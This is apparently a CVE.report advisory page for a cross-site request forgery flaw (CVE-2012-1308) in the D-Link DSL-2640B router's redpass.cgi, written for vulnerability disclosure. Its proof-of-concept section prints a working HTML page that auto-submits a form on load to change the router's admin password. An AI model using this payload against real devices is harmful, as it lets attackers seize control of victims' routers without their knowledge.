D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

BID:52096

Info

D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

Bugtraq ID: 52096
Class: Design Error
CVE: CVE-2012-1308
Remote: Yes
Local: No
Published: Feb 21 2012 12:00AM
Updated: Oct 10 2012 06:10PM
Credit: Ivano Binetti
Vulnerable: D-Link DSL-2640B 0
Not Vulnerable:

Discussion

D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

The D-Link DSL-2640B router is prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

This issue affects D-Link DSL-2640B.

Exploit / POC

D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

The following example data is available:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://www.example.com:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>

Solution / Fix

D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

D-Link DSL-2640B 'redpass.cgi' Cross-Site Request Forgery Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report